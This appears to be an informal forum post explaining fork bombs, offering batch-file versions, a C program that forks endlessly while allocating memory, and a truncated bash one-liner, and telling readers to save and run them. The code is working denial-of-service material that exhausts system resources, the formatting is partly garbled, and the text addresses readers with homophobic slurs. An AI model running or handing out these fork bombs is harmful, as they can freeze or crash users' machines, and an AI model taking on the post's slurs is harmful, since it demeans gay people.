So, for the sake of a decent argument, here's the idea:
One process spawns another process, which in turn spawns another, that one spawns another, infinitely looping that pattern. The catch is, none of those parent processes stop, they keep looping as well. So that first process keeps spitting out children, those children keep spitting out grandchildren, etc.
This is called a forkbomb. It exploits a feature of modern computer systems called Forking (the process by which one process creates another). Forking is actually really useful for application design, its just when it goes unmonitored that it might end up being an issue.
So, the code.
For the sake of all you batch loving faggots out there, there are these two gems:
and:s
START %0
GOTO:s
save either of those as 'mygayforking.bat' and run it. Probably wont crash the system, but you'll get some funny errors.%0|%0
Now on to some more, real, code.
Thats C source, but it might only be applicable to POSIX though.#include <stdlib.h>
#include <unistd.h>
int main(void) {
int *x;
while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = (int *) malloc(sizeof(int) * 1048576);
/* Try and use the newly allocated memory */
*x = 0;
}
return EXIT_SUCCESS;
}





){ :|:& };:"
